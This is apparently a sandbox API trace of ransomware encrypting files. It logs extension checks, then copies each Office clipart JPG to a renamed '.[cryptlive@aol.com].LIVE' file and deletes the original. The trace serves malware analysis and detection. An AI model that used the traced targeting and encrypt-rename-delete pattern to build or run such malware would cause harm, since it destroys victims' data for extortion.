lstrlenW (lpString=".doc") returned 4 [0157.964] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0157.964] lstrlenW (lpString=".docx") returned 5 [0157.964] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0157.964] lstrlenW (lpString=".pdf") returned 4 [0157.964] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0157.964] lstrlenW (lpString=".xls") returned 4 [0157.964] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0157.964] lstrlenW (lpString=".xlsx") returned 5 [0157.964] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0157.964] lstrlenW (lpString=".ppt") returned 4 [0157.964] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0157.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.964] lstrlenW (lpString=".zip") returned 4 [0157.964] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0157.964] lstrlenW (lpString=".rar") returned 4 [0157.964] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0157.964] lstrlenW (lpString=".bz2") returned 4 [0157.964] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0157.964] lstrlenW (lpString=".7z") returned 3 [0157.964] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0157.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.964] lstrlenW (lpString=".dbf") returned 4 [0157.964] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0157.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.964] lstrlenW (lpString=".1cd") returned 4 [0157.964] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0157.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString=".jpg") returned 4 [0157.965] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0157.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString=".doc") returned 4 [0157.965] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0157.965] lstrlenW (lpString=".docx") returned 5 [0157.965] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0157.965] lstrlenW (lpString=".pdf") returned 4 [0157.965] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0157.965] lstrlenW (lpString=".xls") returned 4 [0157.965] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0157.965] lstrlenW (lpString=".xlsx") returned 5 [0157.965] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0157.965] lstrlenW (lpString=".ppt") returned 4 [0157.965] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0157.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString=".zip") returned 4 [0157.965] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0157.965] lstrlenW (lpString=".rar") returned 4 [0157.965] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0157.965] lstrlenW (lpString=".bz2") returned 4 [0157.965] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0157.965] lstrlenW (lpString=".7z") returned 3 [0157.965] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0157.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString=".dbf") returned 4 [0157.965] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0157.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString=".1cd") returned 4 [0157.965] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0157.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG") returned 63 [0157.965] lstrlenW (lpString=".jpg") returned 4 [0157.965] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0157.966] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0157.966] lstrlenW (lpString="J0145212.JPG") returned 12 [0157.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.015] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=61633) returned 1 [0158.015] CloseHandle (hObject=0x1e0) returned 1 [0158.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 0x20 [0158.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.016] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.016] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.017] GetLastError () returned 0x0 [0158.017] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xf0c1, lpOverlapped=0x0) returned 1 [0158.019] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xf0d0, lpOverlapped=0x0) returned 1 [0158.021] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.021] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.021] SetEndOfFile (hFile=0x1dc) returned 1 [0158.021] CloseHandle (hObject=0x1dc) returned 1 [0158.021] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.021] SetEndOfFile (hFile=0x1e0) returned 1 [0158.025] CloseHandle (hObject=0x1e0) returned 1 [0158.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0158.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.026] lstrlenW (lpString=".doc") returned 4 [0158.026] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.026] lstrlenW (lpString=".docx") returned 5 [0158.026] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0158.026] lstrlenW (lpString=".pdf") returned 4 [0158.026] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.026] lstrlenW (lpString=".xls") returned 4 [0158.026] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.026] lstrlenW (lpString=".xlsx") returned 5 [0158.026] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0158.026] lstrlenW (lpString=".ppt") returned 4 [0158.026] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.026] lstrlenW (lpString=".zip") returned 4 [0158.026] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.026] lstrlenW (lpString=".rar") returned 4 [0158.026] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.026] lstrlenW (lpString=".bz2") returned 4 [0158.026] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.026] lstrlenW (lpString=".7z") returned 3 [0158.026] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.026] lstrlenW (lpString=".dbf") returned 4 [0158.026] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".1cd") returned 4 [0158.027] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".jpg") returned 4 [0158.027] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".doc") returned 4 [0158.027] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.027] lstrlenW (lpString=".docx") returned 5 [0158.027] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0158.027] lstrlenW (lpString=".pdf") returned 4 [0158.027] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.027] lstrlenW (lpString=".xls") returned 4 [0158.027] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.027] lstrlenW (lpString=".xlsx") returned 5 [0158.027] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0158.027] lstrlenW (lpString=".ppt") returned 4 [0158.027] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".zip") returned 4 [0158.027] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.027] lstrlenW (lpString=".rar") returned 4 [0158.027] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.027] lstrlenW (lpString=".bz2") returned 4 [0158.027] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.027] lstrlenW (lpString=".7z") returned 3 [0158.027] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".dbf") returned 4 [0158.027] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".1cd") returned 4 [0158.027] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0158.027] lstrlenW (lpString=".jpg") returned 4 [0158.028] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.028] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.028] lstrlenW (lpString="J0145669.JPG") returned 12 [0158.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.028] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=31850) returned 1 [0158.028] CloseHandle (hObject=0x1e0) returned 1 [0158.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 0x20 [0158.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.029] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.029] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.030] GetLastError () returned 0x0 [0158.030] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7c6a, lpOverlapped=0x0) returned 1 [0158.032] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7c70, lpOverlapped=0x0) returned 1 [0158.033] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.033] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.033] SetEndOfFile (hFile=0x1dc) returned 1 [0158.033] CloseHandle (hObject=0x1dc) returned 1 [0158.033] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.033] SetEndOfFile (hFile=0x1e0) returned 1 [0158.036] CloseHandle (hObject=0x1e0) returned 1 [0158.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0158.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.038] lstrlenW (lpString=".doc") returned 4 [0158.038] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.038] lstrlenW (lpString=".docx") returned 5 [0158.038] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.038] lstrlenW (lpString=".pdf") returned 4 [0158.038] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString=".xls") returned 4 [0158.039] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString=".xlsx") returned 5 [0158.039] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.039] lstrlenW (lpString=".ppt") returned 4 [0158.039] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.039] lstrlenW (lpString=".zip") returned 4 [0158.039] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString=".rar") returned 4 [0158.039] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString=".bz2") returned 4 [0158.039] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.039] lstrlenW (lpString=".7z") returned 3 [0158.039] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.039] lstrlenW (lpString=".dbf") returned 4 [0158.039] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.039] lstrlenW (lpString=".1cd") returned 4 [0158.039] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.039] lstrlenW (lpString=".jpg") returned 4 [0158.039] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.039] lstrlenW (lpString=".doc") returned 4 [0158.039] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.039] lstrlenW (lpString=".docx") returned 5 [0158.039] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0158.039] lstrlenW (lpString=".pdf") returned 4 [0158.039] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString=".xls") returned 4 [0158.039] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.039] lstrlenW (lpString=".xlsx") returned 5 [0158.039] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0158.040] lstrlenW (lpString=".ppt") returned 4 [0158.040] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.040] lstrlenW (lpString=".zip") returned 4 [0158.040] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.040] lstrlenW (lpString=".rar") returned 4 [0158.040] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.040] lstrlenW (lpString=".bz2") returned 4 [0158.040] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.040] lstrlenW (lpString=".7z") returned 3 [0158.040] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.040] lstrlenW (lpString=".dbf") returned 4 [0158.040] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.040] lstrlenW (lpString=".1cd") returned 4 [0158.040] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0158.040] lstrlenW (lpString=".jpg") returned 4 [0158.040] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.040] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.040] lstrlenW (lpString="J0145707.JPG") returned 12 [0158.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.041] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=36820) returned 1 [0158.041] CloseHandle (hObject=0x1e0) returned 1 [0158.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 0x20 [0158.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.042] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.042] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0158.043] GetLastError () returned 0x0 [0158.043] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x8fd4, lpOverlapped=0x0) returned 1 [0158.045] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x8fe0, lpOverlapped=0x0) returned 1 [0158.046] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.046] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.046] SetEndOfFile (hFile=0x1dc) returned 1 [0158.046] CloseHandle (hObject=0x1dc) returned 1 [0158.046] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.047] SetEndOfFile (hFile=0x1e0) returned 1 [0158.053] CloseHandle (hObject=0x1e0) returned 1 [0158.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.054] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 1 [0158.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned 63 [0158.055] lstrlenW (lpString=".doc") returned 4 [0158.055] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.055] lstrlenW (lpString=".docx") returned 5 [0158.055] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0158.055] lstrlenW (lpString=".pdf") returned 4 [0158.055] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.055] lstrlenW (lpString=".xls") returned 4 [0158.055] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.055] lstrlenW (lpString=".xlsx") returned 5 [0158.056] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0158.056] lstrlenW (lpString=".ppt") returned 4 [0158.056] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.056] lstrlenW (lpString="C:\\Program 